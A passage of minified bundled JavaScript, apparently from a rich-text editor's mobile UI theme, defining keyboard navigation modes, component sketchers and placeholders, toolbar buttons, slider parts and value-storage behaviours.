MatrixType.schema(); var execution = ExecutionType.schema(); var menu = MenuType.schema(); var special = SpecialType.schema(); var KeyboardBranches = /*#__PURE__*/Object.freeze({ __proto__: null, acyclic: acyclic, cyclic: cyclic, flow: flow, flatgrid: flatgrid, matrix: matrix, execution: execution, menu: menu, special: special }); var isFlatgridState = function (keyState) { return hasNonNullableKey(keyState, 'setGridSize'); }; var Keying = createModes({ branchKey: 'mode', branches: KeyboardBranches, name: 'keying', active: { events: function (keyingConfig, keyingState) { var handler = keyingConfig.handler; return handler.toEvents(keyingConfig, keyingState); } }, apis: { focusIn: function (component, keyConfig, keyState) { keyConfig.sendFocusIn(keyConfig).fold(function () { component.getSystem().triggerFocus(component.element, component.element); }, function (sendFocusIn) { sendFocusIn(component, keyConfig, keyState); }); }, setGridSize: function (component, keyConfig, keyState, numRows, numColumns) { if (!isFlatgridState(keyState)) { console.error('Layout does not support setGridSize'); } else { keyState.setGridSize(numRows, numColumns); } } }, state: KeyingState }); var field$1 = function (name, forbidden) { return defaultedObjOf(name, {}, map$2(forbidden, function (f) { return forbid(f.name(), 'Cannot configure ' + f.name() + ' for ' + name); }).concat([customField('dump', identity)])); }; var get$6 = function (data) { return data.dump; }; var augment = function (data, original) { return __assign(__assign({}, derive$2(original)), data.dump); }; var SketchBehaviours = { field: field$1, augment: augment, get: get$6 }; var _placeholder = 'placeholder'; var adt$5 = Adt.generate([ { single: [ 'required', 'valueThunk' ] }, { multiple: [ 'required', 'valueThunks' ] } ]); var isSubstituted = function (spec) { return has$2(spec, 'uiType'); }; var subPlaceholder = function (owner, detail, compSpec, placeholders) { if (owner.exists(function (o) { return o !== compSpec.owner; })) { return adt$5.single(true, constant$1(compSpec)); } return get$c(placeholders, compSpec.name).fold(function () { throw new Error('Unknown placeholder component: ' + compSpec.name + '\nKnown: [' + keys(placeholders) + ']\nNamespace: ' + owner.getOr('none') + '\nSpec: ' + JSON.stringify(compSpec, null, 2)); }, function (newSpec) { return newSpec.replace(); }); }; var scan = function (owner, detail, compSpec, placeholders) { if (isSubstituted(compSpec) && compSpec.uiType === _placeholder) { return subPlaceholder(owner, detail, compSpec, placeholders); } else { return adt$5.single(false, constant$1(compSpec)); } }; var substitute = function (owner, detail, compSpec, placeholders) { var base = scan(owner, detail, compSpec, placeholders); return base.fold(function (req, valueThunk) { var value = isSubstituted(compSpec) ? valueThunk(detail, compSpec.config, compSpec.validated) : valueThunk(detail); var childSpecs = get$c(value, 'components').getOr([]); var substituted = bind$3(childSpecs, function (c) { return substitute(owner, detail, c, placeholders); }); return [__assign(__assign({}, value), { components: substituted })]; }, function (req, valuesThunk) { if (isSubstituted(compSpec)) { var values = valuesThunk(detail, compSpec.config, compSpec.validated); var preprocessor = compSpec.validated.preprocess.getOr(identity); return preprocessor(values); } else { return valuesThunk(detail); } }); }; var substituteAll = function (owner, detail, components, placeholders) { return bind$3(components, function (c) { return substitute(owner, detail, c, placeholders); }); }; var oneReplace = function (label, replacements) { var called = false; var used = function () { return called; }; var replace = function () { if (called) { throw new Error('Trying to use the same placeholder more than once: ' + label); } called = true; return replacements; }; var required = function () { return replacements.fold(function (req, _) { return req; }, function (req, _) { return req; }); }; return { name: constant$1(label), required: required, used: used, replace: replace }; }; var substitutePlaces = function (owner, detail, components, placeholders) { var ps = map$1(placeholders, function (ph, name) { return oneReplace(name, ph); }); var outcome = substituteAll(owner, detail, components, ps); each(ps, function (p) { if (p.used() === false && p.required()) { throw new Error('Placeholder: ' + p.name() + ' was not found in components list\nNamespace: ' + owner.getOr('none') + '\nComponents: ' + JSON.stringify(detail.components, null, 2)); } }); return outcome; }; var single$2 = adt$5.single; var multiple = adt$5.multiple; var placeholder = constant$1(_placeholder); var unique = 0; var generate$4 = function (prefix) { var date = new Date(); var time = date.getTime(); var random = Math.floor(Math.random() * 1000000000); unique++; return prefix + '_' + random + unique + String(time); }; var adt$4 = Adt.generate([ { required: ['data'] }, { external: ['data'] }, { optional: ['data'] }, { group: ['data'] } ]); var fFactory = defaulted('factory', { sketch: identity }); var fSchema = defaulted('schema', []); var fName = required$1('name'); var fPname = field$2('pname', 'pname', defaultedThunk(function (typeSpec) { return ''; }), anyValue()); var fGroupSchema = customField('schema', function () { return [option('preprocess')]; }); var fDefaults = defaulted('defaults', constant$1({})); var fOverrides = defaulted('overrides', constant$1({})); var requiredSpec = objOf([ fFactory, fSchema, fName, fPname, fDefaults, fOverrides ]); var externalSpec = objOf([ fFactory, fSchema, fName, fDefaults, fOverrides ]); var optionalSpec = objOf([ fFactory, fSchema, fName, fPname, fDefaults, fOverrides ]); var groupSpec = objOf([ fFactory, fGroupSchema, fName, required$1('unit'), fPname, fDefaults, fOverrides ]); var asNamedPart = function (part) { return part.fold(Optional.some, Optional.none, Optional.some, Optional.some); }; var name = function (part) { var get = function (data) { return data.name; }; return part.fold(get, get, get, get); }; var convert$1 = function (adtConstructor, partSchema) { return function (spec) { var data = asRawOrDie$1('Converting part type', partSchema, spec); return adtConstructor(data); }; }; var required = convert$1(adt$4.required, requiredSpec); convert$1(adt$4.external, externalSpec); var optional = convert$1(adt$4.optional, optionalSpec); var group = convert$1(adt$4.group, groupSpec); var original = constant$1('entirety'); var combine$2 = function (detail, data, partSpec, partValidated) { return deepMerge(data.defaults(detail, partSpec, partValidated), partSpec, { uid: detail.partUids[data.name] }, data.overrides(detail, partSpec, partValidated)); }; var subs = function (owner, detail, parts) { var internals = {}; var externals = {}; each$1(parts, function (part) { part.fold(function (data) { internals[data.pname] = single$2(true, function (detail, partSpec, partValidated) { return data.factory.sketch(combine$2(detail, data, partSpec, partValidated)); }); }, function (data) { var partSpec = detail.parts[data.name]; externals[data.name] = constant$1(data.factory.sketch(combine$2(detail, data, partSpec[original()]), partSpec)); }, function (data) { internals[data.pname] = single$2(false, function (detail, partSpec, partValidated) { return data.factory.sketch(combine$2(detail, data, partSpec, partValidated)); }); }, function (data) { internals[data.pname] = multiple(true, function (detail, _partSpec, _partValidated) { var units = detail[data.name]; return map$2(units, function (u) { return data.factory.sketch(deepMerge(data.defaults(detail, u, _partValidated), u, data.overrides(detail, u))); }); }); }); }); return { internals: constant$1(internals), externals: constant$1(externals) }; }; var generate$3 = function (owner, parts) { var r = {}; each$1(parts, function (part) { asNamedPart(part).each(function (np) { var g = doGenerateOne(owner, np.pname); r[np.name] = function (config) { var validated = asRawOrDie$1('Part: ' + np.name + ' in ' + owner, objOf(np.schema), config); return __assign(__assign({}, g), { config: config, validated: validated }); }; }); }); return r; }; var doGenerateOne = function (owner, pname) { return { uiType: placeholder(), owner: owner, name: pname }; }; var generateOne = function (owner, pname, config) { return { uiType: placeholder(), owner: owner, name: pname, config: config, validated: {} }; }; var schemas = function (parts) { return bind$3(parts, function (part) { return part.fold(Optional.none, Optional.some, Optional.none, Optional.none).map(function (data) { return requiredObjOf(data.name, data.schema.concat([snapshot(original())])); }).toArray(); }); }; var names = function (parts) { return map$2(parts, name); }; var substitutes = function (owner, detail, parts) { return subs(owner, detail, parts); }; var components = function (owner, detail, internals) { return substitutePlaces(Optional.some(owner), detail, detail.components, internals); }; var getPart = function (component, detail, partKey) { var uid = detail.partUids[partKey]; return component.getSystem().getByUid(uid).toOptional(); }; var getPartOrDie = function (component, detail, partKey) { return getPart(component, detail, partKey).getOrDie('Could not find part: ' + partKey); }; var getAllParts = function (component, detail) { var system = component.getSystem(); return map$1(detail.partUids, function (pUid, _k) { return constant$1(system.getByUid(pUid)); }); }; var defaultUids = function (baseUid, partTypes) { var partNames = names(partTypes); return wrapAll(map$2(partNames, function (pn) { return { key: pn, value: baseUid + '-' + pn }; })); }; var defaultUidsSchema = function (partTypes) { return field$2('partUids', 'partUids', mergeWithThunk(function (spec) { return defaultUids(spec.uid, partTypes); }), anyValue()); }; var premadeTag = generate$4('alloy-premade'); var premade$1 = function (comp) { return wrap(premadeTag, comp); }; var getPremade = function (spec) { return get$c(spec, premadeTag); }; var makeApi = function (f) { return markAsSketchApi(function (component) { var rest = []; for (var _i = 1; _i < arguments.length; _i++) { rest[_i - 1] = arguments[_i]; } return f.apply(void 0, __spreadArray([ component.getApis(), component ], rest, false)); }, f); }; var prefix$1 = constant$1('alloy-id-'); var idAttr$1 = constant$1('data-alloy-id'); var prefix = prefix$1(); var idAttr = idAttr$1(); var write = function (label, elem) { var id = generate$4(prefix + label); writeOnly(elem, id); return id; }; var writeOnly = function (elem, uid) { Object.defineProperty(elem.dom, idAttr, { value: uid, writable: true }); }; var read = function (elem) { var id = isElement(elem) ? elem.dom[idAttr] : null; return Optional.from(id); }; var generate$2 = function (prefix) { return generate$4(prefix); }; var base = function (partSchemas, partUidsSchemas) { var ps = partSchemas.length > 0 ? [requiredObjOf('parts', partSchemas)] : []; return ps.concat([ required$1('uid'), defaulted('dom', {}), defaulted('components', []), snapshot('originalSpec'), defaulted('debug.sketcher', {}) ]).concat(partUidsSchemas); }; var asRawOrDie = function (label, schema, spec, partSchemas, partUidsSchemas) { var baseS = base(partSchemas, partUidsSchemas); return asRawOrDie$1(label + ' [SpecSchema]', objOfOnly(baseS.concat(schema)), spec); }; var single$1 = function (owner, schema, factory, spec) { var specWithUid = supplyUid(spec); var detail = asRawOrDie(owner, schema, specWithUid, [], []); return factory(detail, specWithUid); }; var composite$1 = function (owner, schema, partTypes, factory, spec) { var specWithUid = supplyUid(spec); var partSchemas = schemas(partTypes); var partUidsSchema = defaultUidsSchema(partTypes); var detail = asRawOrDie(owner, schema, specWithUid, partSchemas, [partUidsSchema]); var subs = substitutes(owner, detail, partTypes); var components$1 = components(owner, detail, subs.internals()); return factory(detail, components$1, specWithUid, subs.externals()); }; var hasUid = function (spec) { return has$2(spec, 'uid'); }; var supplyUid = function (spec) { return hasUid(spec) ? spec : __assign(__assign({}, spec), { uid: generate$2('uid') }); }; var isSketchSpec$1 = function (spec) { return spec.uid !== undefined; }; var singleSchema = objOfOnly([ required$1('name'), required$1('factory'), required$1('configFields'), defaulted('apis', {}), defaulted('extraApis', {}) ]); var compositeSchema = objOfOnly([ required$1('name'), required$1('factory'), required$1('configFields'), required$1('partFields'), defaulted('apis', {}), defaulted('extraApis', {}) ]); var single = function (rawConfig) { var config = asRawOrDie$1('Sketcher for ' + rawConfig.name, singleSchema, rawConfig); var sketch = function (spec) { return single$1(config.name, config.configFields, config.factory, spec); }; var apis = map$1(config.apis, makeApi); var extraApis = map$1(config.extraApis, function (f, k) { return markAsExtraApi(f, k); }); return __assign(__assign({ name: config.name, configFields: config.configFields, sketch: sketch }, apis), extraApis); }; var composite = function (rawConfig) { var config = asRawOrDie$1('Sketcher for ' + rawConfig.name, compositeSchema, rawConfig); var sketch = function (spec) { return composite$1(config.name, config.configFields, config.partFields, config.factory, spec); }; var parts = generate$3(config.name, config.partFields); var apis = map$1(config.apis, makeApi); var extraApis = map$1(config.extraApis, function (f, k) { return markAsExtraApi(f, k); }); return __assign(__assign({ name: config.name, partFields: config.partFields, configFields: config.configFields, sketch: sketch, parts: parts }, apis), extraApis); }; var factory$5 = function (detail) { var events = events$8(detail.action); var tag = detail.dom.tag; var lookupAttr = function (attr) { return get$c(detail.dom, 'attributes').bind(function (attrs) { return get$c(attrs, attr); }); }; var getModAttributes = function () { if (tag === 'button') { var type = lookupAttr('type').getOr('button'); var roleAttrs = lookupAttr('role').map(function (role) { return { role: role }; }).getOr({}); return __assign({ type: type }, roleAttrs); } else { var role = lookupAttr('role').getOr('button'); return { role: role }; } }; return { uid: detail.uid, dom: detail.dom, components: detail.components, events: events, behaviours: SketchBehaviours.augment(detail.buttonBehaviours, [ Focusing.config({}), Keying.config({ mode: 'execution', useSpace: true, useEnter: true }) ]), domModification: { attributes: getModAttributes() }, eventOrder: detail.eventOrder }; }; var Button = single({ name: 'Button', factory: factory$5, configFields: [ defaulted('uid', undefined), required$1('dom'), defaulted('components', []), SketchBehaviours.field('buttonBehaviours', [ Focusing, Keying ]), option('action'), option('role'), defaulted('eventOrder', {}) ] }); var exhibit$3 = function () { return nu$3({ styles: { '-webkit-user-select': 'none', 'user-select': 'none', '-ms-user-select': 'none', '-moz-user-select': '-moz-none' }, attributes: { unselectable: 'on' } }); }; var events$6 = function () { return derive$3([abort(selectstart(), always)]); }; var ActiveUnselecting = /*#__PURE__*/Object.freeze({ __proto__: null, events: events$6, exhibit: exhibit$3 }); var Unselecting = create$5({ fields: [], name: 'unselecting', active: ActiveUnselecting }); var getAttrs$1 = function (elem) { var attributes = elem.dom.attributes !== undefined ? elem.dom.attributes : []; return foldl(attributes, function (b, attr) { var _a; if (attr.name === 'class') { return b; } else { return __assign(__assign({}, b), (_a = {}, _a[attr.name] = attr.value, _a)); } }, {}); }; var getClasses = function (elem) { return Array.prototype.slice.call(elem.dom.classList, 0); }; var fromHtml = function (html) { var elem = SugarElement.fromHtml(html); var children$1 = children(elem); var attrs = getAttrs$1(elem); var classes = getClasses(elem); var contents = children$1.length === 0 ? {} : { innerHtml: get$9(elem) }; return __assign({ tag: name$1(elem), classes: classes, attributes: attrs }, contents); }; var dom$1 = function (rawHtml) { var html = supplant(rawHtml, { prefix: prefix$2 }); return fromHtml(html); }; var spec = function (rawHtml) { return { dom: dom$1(rawHtml) }; }; var forToolbarCommand = function (editor, command) { return forToolbar(command, function () { editor.execCommand(command); }, {}, editor); }; var getToggleBehaviours = function (command) { return derive$2([ Toggling.config({ toggleClass: resolve('toolbar-button-selected'), toggleOnExecute: false, aria: { mode: 'pressed' } }), format(command, function (button, status) { var toggle = status ? Toggling.on : Toggling.off; toggle(button); }) ]); }; var forToolbarStateCommand = function (editor, command) { var extraBehaviours = getToggleBehaviours(command); return forToolbar(command, function () { editor.execCommand(command); }, extraBehaviours, editor); }; var forToolbarStateAction = function (editor, clazz, command, action) { var extraBehaviours = getToggleBehaviours(command); return forToolbar(clazz, action, extraBehaviours, editor); }; var getToolbarIconButton = function (clazz, editor) { var icons = editor.ui.registry.getAll().icons; var optOxideIcon = Optional.from(icons[clazz]); return optOxideIcon.fold(function () { return dom$1(''); }, function (icon) { return dom$1('' + icon + ''); }); }; var forToolbar = function (clazz, action, extraBehaviours, editor) { return Button.sketch({ dom: getToolbarIconButton(clazz, editor), action: action, buttonBehaviours: deepMerge(derive$2([Unselecting.config({})]), extraBehaviours) }); }; var labelPart = optional({ schema: [required$1('dom')], name: 'label' }); var edgePart = function (name) { return optional({ name: '' + name + '-edge', overrides: function (detail) { var action = detail.model.manager.edgeActions[name]; return action.fold(function () { return {}; }, function (a) { return { events: derive$3([ runActionExtra(touchstart(), function (comp, se, d) { return a(comp, d); }, [detail]), runActionExtra(mousedown(), function (comp, se, d) { return a(comp, d); }, [detail]), runActionExtra(mousemove(), function (comp, se, det) { if (det.mouseIsDown.get()) { a(comp, det); } }, [detail]) ]) }; }); } }); }; var tlEdgePart = edgePart('top-left'); var tedgePart = edgePart('top'); var trEdgePart = edgePart('top-right'); var redgePart = edgePart('right'); var brEdgePart = edgePart('bottom-right'); var bedgePart = edgePart('bottom'); var blEdgePart = edgePart('bottom-left'); var ledgePart = edgePart('left'); var thumbPart = required({ name: 'thumb', defaults: constant$1({ dom: { styles: { position: 'absolute' } } }), overrides: function (detail) { return { events: derive$3([ redirectToPart(touchstart(), detail, 'spectrum'), redirectToPart(touchmove(), detail, 'spectrum'), redirectToPart(touchend(), detail, 'spectrum'), redirectToPart(mousedown(), detail, 'spectrum'), redirectToPart(mousemove(), detail, 'spectrum'), redirectToPart(mouseup(), detail, 'spectrum') ]) }; } }); var spectrumPart = required({ schema: [customField('mouseIsDown', function () { return Cell(false); })], name: 'spectrum', overrides: function (detail) { var modelDetail = detail.model; var model = modelDetail.manager; var setValueFrom = function (component, simulatedEvent) { return model.getValueFromEvent(simulatedEvent).map(function (value) { return model.setValueFrom(component, detail, value); }); }; return { behaviours: derive$2([ Keying.config({ mode: 'special', onLeft: function (spectrum) { return model.onLeft(spectrum, detail); }, onRight: function (spectrum) { return model.onRight(spectrum, detail); }, onUp: function (spectrum) { return model.onUp(spectrum, detail); }, onDown: function (spectrum) { return model.onDown(spectrum, detail); } }), Focusing.config({}) ]), events: derive$3([ run(touchstart(), setValueFrom), run(touchmove(), setValueFrom), run(mousedown(), setValueFrom), run(mousemove(), function (spectrum, se) { if (detail.mouseIsDown.get()) { setValueFrom(spectrum, se); } }) ]) }; } }); var SliderParts = [ labelPart, ledgePart, redgePart, tedgePart, bedgePart, tlEdgePart, trEdgePart, blEdgePart, brEdgePart, thumbPart, spectrumPart ]; var onLoad$4 = function (component, repConfig, repState) { repConfig.store.manager.onLoad(component, repConfig, repState); }; var onUnload$2 = function (component, repConfig, repState) { repConfig.store.manager.onUnload(component, repConfig, repState); }; var setValue$3 = function (component, repConfig, repState, data) { repConfig.store.manager.setValue(component, repConfig, repState, data); }; var getValue$4 = function (component, repConfig, repState) { return repConfig.store.manager.getValue(component, repConfig, repState); }; var getState$1 = function (component, repConfig, repState) { return repState; }; var RepresentApis = /*#__PURE__*/Object.freeze({ __proto__: null, onLoad: onLoad$4, onUnload: onUnload$2, setValue: setValue$3, getValue: getValue$4, getState: getState$1 }); var events$5 = function (repConfig, repState) { var es = repConfig.resetOnDom ? [ runOnAttached(function (comp, _se) { onLoad$4(comp, repConfig, repState); }), runOnDetached(function (comp, _se) { onUnload$2(comp, repConfig, repState); }) ] : [loadEvent(repConfig, repState, onLoad$4)]; return derive$3(es); }; var ActiveRepresenting = /*#__PURE__*/Object.freeze({ __proto__: null, events: events$5 }); var memory = function () { var data = Cell(null); var readState = function () { return { mode: 'memory', value: data.get() }; }; var isNotSet = function () { return data.get() === null; }; var clear = function () { data.set(null); }; return nu$2({ set: data.set, get: data.get, isNotSet: isNotSet, clear: clear, readState: readState }); }; var manual = function () { var readState = noop; return nu$2({ readState: readState }); }; var dataset = function () { var dataByValue = Cell({}); var dataByText = Cell({}); var readState = function () { return { mode: 'dataset', dataByValue: dataByValue.get(), dataByText: dataByText.get() }; }; var clear = function () { dataByValue.set({}); dataByText.set({}); }; var lookup = function (itemString) { return get$c(dataByValue.get(), itemString).orThunk(function () { return get$c(dataByText.get(), itemString); }); }; var update = function (items) { var currentDataByValue = dataByValue.get(); var currentDataByText = dataByText.get(); var newDataByValue = {}; var newDataByText = {}; each$1(items, function (item) { newDataByValue[item.value] = item; get$c(item, 'meta').each(function (meta) { get$c(meta, 'text').each(function (text) { newDataByText[text] = item; }); }); }); dataByValue.set(__assign(__assign({}, currentDataByValue), newDataByValue)); dataByText.set(__assign(__assign({}, currentDataByText), newDataByText)); }; return nu$2({ readState: readState, lookup: lookup, update: update, clear: clear }); }; var init$4 = function (spec) { return spec.store.manager.state(spec); }; var RepresentState = /*#__PURE__*/Object.freeze({ __proto__: null, memory: memory, dataset: dataset, manual: manual, init: init$4 }); var setValue$2 = function (component, repConfig, repState, data) { var store = repConfig.store; repState.update([data]); store.setValue(component, data); repConfig.onSetValue(component, data); }; var getValue$3 = function (component, repConfig, repState) { var store = repConfig.store; var key = store.getDataKey(component); return repState.lookup(key).getOrThunk(function () { return store.getFallbackEntry(key); }); }; var onLoad$3 = function (component, repConfig, repState) { var store = repConfig.store; store.initialValue.each(function (data) { setValue$2(component, repConfig, repState, data); }); }; var onUnload$1 = function (component, repConfig, repState) { repState.clear(); }; var DatasetStore = [ option('initialValue'), required$1('getFallbackEntry'), required$1('getDataKey'), required$1('setValue'), output('manager', { setValue: setValue$2, getValue: getValue$3, onLoad: onLoad$3, onUnload: onUnload$1, state: dataset }) ]; var getValue$2 = function (component, repConfig, _repState) { return repConfig.store.getValue(component); }; var setValue$1 = function (component, repConfig, _repState, data) { repConfig.store.setValue(component, data); repConfig.onSetValue(component, data); }; var onLoad$2 = function (component, repConfig, _repState) { repConfig.store.initialValue.each(function (data) { repConfig.store.setValue(component, data); }); }; var ManualStore = [ required$1('getValue'), defaulted('setValue', noop), option('initialValue'), output('manager', { setValue: setValue$1, getValue: getValue$2, onLoad: onLoad$2, onUnload: noop, state: NoState.init }) ]; var setValue = function (component, repConfig, repState, data) { repState.set(data); repConfig.onSetValue(component, data); }; var getValue$1 = function (component, repConfig, repState) { return repState.get(); }; var onLoad$1 = function (component, repConfig, repState) { repConfig.store.initialValue.each(function (initVal) { if (repState.isNotSet()) { repState.set(initVal); } }); }; var onUnload = function (component, repConfig, repState) { repState.clear(); }; var MemoryStore = [ option('initialValue'), output('manager', { setValue: setValue, getValue: getValue$1, onLoad: onLoad$1, onUnload: onUnload, state: memory }) ]; var RepresentSchema = [ defaultedOf('store', { mode: 'memory' }, choose$1('mode', { memory: MemoryStore, manual: ManualStore, dataset: DatasetStore })), onHandler('onSetValue'), defaulted('resetOnDom', false) ]; var Representing = create$5({ fields: RepresentSchema, name: 'representing', active: ActiveRepresenting, apis: RepresentApis, extra: { setValueFrom: function (component, source) { var value = Representing.getValue(source); Representing.setValue(component, value); } }, state: RepresentState }); var api$1 = Dimension('width', function (element) { return element.dom.offsetWidth; }); var set$4 = function (element, h) { return api$1.set(element, h); }; var get$5 = function (element) { return api$1.get(element); }; var r$1 = function (left, top) { var translate = function (x, y) { return r$1(left + x, top + y); }; return { left: left, top: top, translate: translate }; }; var SugarPosition = r$1; var _sliderChangeEvent = 'slider.change.value'; var sliderChangeEvent = constant$1(_sliderChangeEvent); var isTouchEvent = function (evt) { return evt.type.indexOf('touch') !== -1; }; var getEventSource = function (simulatedEvent) { var evt = simulatedEvent.event.raw; if (isTouchEvent(evt)) { var touchEvent = evt; return touchEvent.touches !== undefined && touchEvent.touches.length === 1 ? Optional.some(touchEvent.touches[0]).map(function (t) { return SugarPosition(t.clientX, t.clientY); }) : Optional.none(); } else { var mouseEvent = evt; return mouseEvent.clientX !== undefined ? Optional.some(mouseEvent).map(function (me) { return SugarPosition(me.clientX, me.clientY); }) : Optional.none(); } }; var t = 'top', r = 'right', b = 'bottom', l = 'left'; var minX = function (detail) { return detail.model.minX; }; var minY = function (detail) { return detail.model.minY; }; var min1X = function (detail) { return detail.model.minX - 1; }; var min1Y = function (detail) { return detail.model.minY - 1; }; var maxX = function (detail) { return detail.model.maxX; }; var maxY = function (detail) { return detail.model.maxY; }; var max1X = function (detail) { return detail.model.maxX + 1; }; var max1Y = function (detail) { return detail.model.maxY + 1; }; var range$1 = function (detail, max, min) { return max(detail) - min(detail); }; var xRange = function (detail) { return range$1(detail, maxX, minX); }; var yRange = function (detail) { return range$1(detail, maxY, minY); }; var halfX = function (detail) { return xRange(detail) / 2; }; var halfY = function (detail) { return yRange(detail) / 2; }; var step = function (detail) { return detail.stepSize; }; var snap = function (detail) { return detail.snapToGrid; }; var snapStart = function (detail) { return detail.snapStart; }; var rounded = function (detail) { return detail.rounded; }; var hasEdge = function (detail, edgeName) { return detail[edgeName + '-edge'] !== undefined; }; var hasLEdge = function (detail) { return hasEdge(detail, l); }; var hasREdge = function (detail) { return hasEdge(detail, r); }; var hasTEdge = function (detail) { return hasEdge(detail, t); }; var hasBEdge = function (detail) { return hasEdge(detail, b); }; var currentValue = function (detail) { return detail.model.value.get(); }; var xValue = function (x) { return { x: x }; }; var yValue = function (y) { return { y: y }; }; var xyValue = function (x, y) { return { x: x, y: y }; }; var fireSliderChange$3 = function (component, value) { emitWith(component, sliderChangeEvent(), { value: value }); }; var setToTLEdgeXY = function (edge, detail) { fireSliderChange$3(edge, xyValue(min1X(detail), min1Y(detail))); }; var setToTEdge = function (edge, detail) { fireSliderChange$3(edge, yValue(min1Y(detail))); }; var setToTEdgeXY = function (edge, detail) { fireSliderChange$3(edge, xyValue(halfX(detail), min1Y(detail))); }; var setToTREdgeXY = function (edge, detail) { fireSliderChange$3(edge, xyValue(max1X(detail), min1Y(detail))); }; var setToREdge = function (edge, detail) { fireSliderChange$3(edge, xValue(max1X(detail))); }; var setToREdgeXY = function (edge, detail) { fireSliderChange$3(edge, xyValue(max1X(detail), halfY(detail))); }; var setToBREdgeXY = function (edge, detail) { fireSliderChange$3(edge, xyValue(max1X(detail), max1Y(detail))); }; var setToBEdge = function (edge, detail) { fireSliderChange$3(edge, yValue(max1Y(detail))); }; var setToBEdgeXY = function (edge, detail) { fireSliderChange$3(edge, xyValue(halfX(detail), max1Y(detail))); }; var setToBLEdgeXY = function (edge, detail) { fireSliderChange$3(edge, xyValue(min1X(detail), max1Y(detail))); }; var setToLEdge = function (edge, detail) { fireSliderChange$3(edge, xValue(min1X(detail))); }; var setToLEdgeXY = function (edge, detail) { fireSliderChange$3(edge, xyValue(min1X(detail), halfY(detail))); }; var reduceBy = function (value, min, max, step) { if (value < min) { return value; } else if (value > max) { return max; } else if (value === min) { return min - 1; } else { return Math.max(min, value - step); } }; var increaseBy = function (value, min, max, step) { if (value > max) { return value; } else if (value < min) { return min; } else if (value === max) { return max + 1; } else { return Math.min(max, value + step); } }; var capValue = function (value, min, max) { return Math.max(min, Math.min(max, value)); }; var snapValueOf = function (value, min, max, step, snapStart) { return snapStart.fold(function () { var initValue = value - min; var extraValue = Math.round(initValue / step) * step; return capValue(min + extraValue, min - 1, max + 1); }, function (start) { var remainder = (value - start) % step; var adjustment = Math.round(remainder / step); var rawSteps = Math.floor((value - start) / step); var maxSteps = Math.floor((max - start) / step); var numSteps = Math.min(maxSteps, rawSteps + adjustment); var r = start + numSteps * step; return Math.max(start, r); }); }; var findOffsetOf = function (value, min, max) { return Math.min(max, Math.max(value, min)) - min; }; var findValueOf = function (args) { var min = args.min, max = args.max, range = args.range, value = args.value, step = args.step, snap = args.snap, snapStart = args.snapStart, rounded = args.rounded, hasMinEdge = args.hasMinEdge, hasMaxEdge = args.hasMaxEdge, minBound = args.minBound, maxBound = args.maxBound, screenRange = args.screenRange; var capMin = hasMinEdge ? min - 1 : min; var capMax = hasMaxEdge ? max + 1 : max; if (value < minBound) { return capMin; } else if (value > maxBound) { return capMax; } else { var offset = findOffsetOf(value, minBound, maxBound); var newValue = capValue(offset / screenRange * range + min, capMin, capMax); if (snap && newValue >= min && newValue <= max) { return snapValueOf(newValue, min, max, step, snapStart); } else if (rounded) { return Math.round(newValue); } else { return newValue; } } }; var findOffsetOfValue$2 = function (args) { var min = args.min, max = args.max, range = args.range, value = args.value, hasMinEdge = args.hasMinEdge, hasMaxEdge = args.hasMaxEdge, maxBound = args.maxBound, maxOffset = args.maxOffset, centerMinEdge = args.centerMinEdge, centerMaxEdge = args.centerMaxEdge; if (value < min) { return hasMinEdge ? 0 : centerMinEdge; } else if (value > max) { return hasMaxEdge ? maxBound : centerMaxEdge; } else { return (value - min) / range * maxOffset; } }; var top = 'top', right = 'right', bottom = 'bottom', left = 'left', width = 'width', height = 'height'; var getBounds$1 = function (component) { return component.element.dom.getBoundingClientRect(); }; var getBoundsProperty = function (bounds, property) { return bounds[property]; }; var getMinXBounds = function (component) { var bounds = getBounds$1(component); return getBoundsProperty(bounds, left); }; var getMaxXBounds = function (component) { var bounds = getBounds$1(component); return getBoundsProperty(bounds, right); }; var getMinYBounds = function (component) { var bounds = getBounds$1(component); return getBoundsProperty(bounds, top); }; var getMaxYBounds = function (component) { var bounds = getBounds$1(component); return getBoundsProperty(bounds, bottom); }; var getXScreenRange = function (component) { var bounds = getBounds$1(component); return getBoundsProperty(bounds, width); }; var getYScreenRange = function (component) { var bounds = getBounds$1(component); return getBoundsProperty(bounds, height); }; var getCenterOffsetOf = function (componentMinEdge, componentMaxEdge, spectrumMinEdge) { return (componentMinEdge + componentMaxEdge) / 2 - spectrumMinEdge; }; var getXCenterOffSetOf = function (component, spectrum) { var componentBounds = getBounds$1(component); var spectrumBounds = getBounds$1(spectrum); var componentMinEdge = getBoundsProperty(componentBounds, left); var componentMaxEdge = getBoundsProperty(componentBounds, right); var spectrumMinEdge = getBoundsProperty(spectrumBounds, left); return getCenterOffsetOf(componentMinEdge, componentMaxEdge, spectrumMinEdge); }; var getYCenterOffSetOf = function (component, spectrum) { var componentBounds = getBounds$1(component); var spectrumBounds = getBounds$1(spectrum); var componentMinEdge = getBoundsProperty(componentBounds, top); var componentMaxEdge = getBoundsProperty(componentBounds, bottom); var spectrumMinEdge = getBoundsProperty(spectrumBounds, top); return getCenterOffsetOf(componentMinEdge, componentMaxEdge, spectrumMinEdge); }; var fireSliderChange$2 = function (spectrum, value) { emitWith(spectrum, sliderChangeEvent(), { value: value }); }; var sliderValue$2 = function (x) { return { x: x }; }; var findValueOfOffset$1 = function (spectrum, detail, left) { var args = { min: minX(detail), max: maxX(detail), range: xRange(detail), value: left, step: step(detail), snap: snap(detail), snapStart: snapStart(detail), rounded: rounded(detail), hasMinEdge: hasLEdge(detail), hasMaxEdge: hasREdge(detail), minBound: getMinXBounds(spectrum), maxBound: getMaxXBounds(spectrum), screenRange: getXScreenRange(spectrum) }; return findValueOf(args); }; var setValueFrom$2 = function (spectrum, detail, value) { var xValue = findValueOfOffset$1(spectrum, detail, value); var sliderVal = sliderValue$2(xValue); fireSliderChange$2(spectrum, sliderVal); return xValue; }; var setToMin$2 = function (spectrum, detail) { var min = minX(detail); fireSliderChange$2(spectrum, sliderValue$2(min)); }; var setToMax$2 = function (spectrum, detail) { var max = maxX(detail); fireSliderChange$2(spectrum, sliderValue$2(max)); }; var moveBy$2 = function (direction, spectrum, detail) { var f = direction > 0 ? increaseBy : reduceBy; var xValue = f(currentValue(detail).x, minX(detail), maxX(detail), step(detail)); fireSliderChange$2(spectrum, sliderValue$2(xValue)); return Optional.some(xValue); }; var handleMovement$2 = function (direction) { return function (spectrum, detail) { return moveBy$2(direction, spectrum, detail).map(always); }; }; var getValueFromEvent$2 = function (simulatedEvent) { var pos = getEventSource(simulatedEvent); return pos.map(function (p) { return p.left; }); }; var findOffsetOfValue$1 = function (spectrum, detail, value, minEdge, maxEdge) { var minOffset = 0; var maxOffset = getXScreenRange(spectrum); var 